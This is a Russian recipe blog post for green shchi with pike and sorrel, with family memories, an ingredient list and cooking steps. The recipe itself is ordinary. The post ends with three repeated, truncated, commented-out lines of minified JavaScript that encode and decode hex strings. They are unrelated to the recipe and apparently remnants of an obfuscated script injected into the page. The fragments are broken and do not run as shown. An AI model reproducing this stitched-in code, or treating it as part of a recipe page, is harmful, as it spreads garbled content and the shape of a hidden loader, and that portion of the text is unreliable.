Зеленые щи со щукой
Зеленый борщ моего детства был на говядине как правило,на грудинке или на ребрышках. Со щавелем, крапивой, лебедой и обязательным квашеным бурячком. В остальном вполне обычный борщевой набор-картошка, морковка,лук. А вот моя родившаяся еще в начале 20-го века прабабушка часто варила борщ с рыбой, причем с самой какой-то дешевой, замороженной или сушеной.
Мне встретился рецепт зеленых щей со щукой, и я, помятуя бабушкины борщи, решила попробовать . Причем кроме собственно щуки и щавеля больше там почти ничего нет, и это меня смущало. Но у этого , на первый взгляд простого супа есть пара фишек, которые придают ему питательность и густоту. Ну и конечно сама щука потрясающе вкусна в вареном виде, ее нежирное белое мясо просто тает во рту.
Ингредиенты:
1.Щука 1 шт.
2.Лук репчатый 1 шт.
3.Щавель 2 пучка
4.Яичный желток 1 шт.
5.Сливочное масло 40 грамм
6.Сметана 150 грамм
7.Мука 1 ст.л.
8.Петрушка 1 пучок
9.Соль
10.Перец
1.Рыбу выпотрошить,очистить и нарезать крупными кусками. Промыть и обсушить.Если вы купили щуку с головой и хвостом, то голову положить в кастрюлю ,залить холодной водой, довестидо кипения , снять пену и варить 20 минут. В сковороде нагреть половину сливочного масла и обжарить куски рыбы со всех сторон. Вынуть. Лук нарезать полукольцами и обжарить до мягкости в той же сковороде, что жарилась рыба .
2.Сложить рыбу и лук в кастрюлю ,залить 3 литрами холодной водой и довести до кипения. Варить 10 минут. Щавель мелко порубить и добавить в суп. Разоогреть сливочное масло и обжарить муку. Влить немного бульона в мучную поджарку, перемешать и вылить в суп. Довести до кипения и снять с огня.
3.Смешать сметану и яичный желток, вылить всуп и хорошо перемешать. Посолить и поперчить суппо вкусу и посыпать рубленной петрушкой.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o
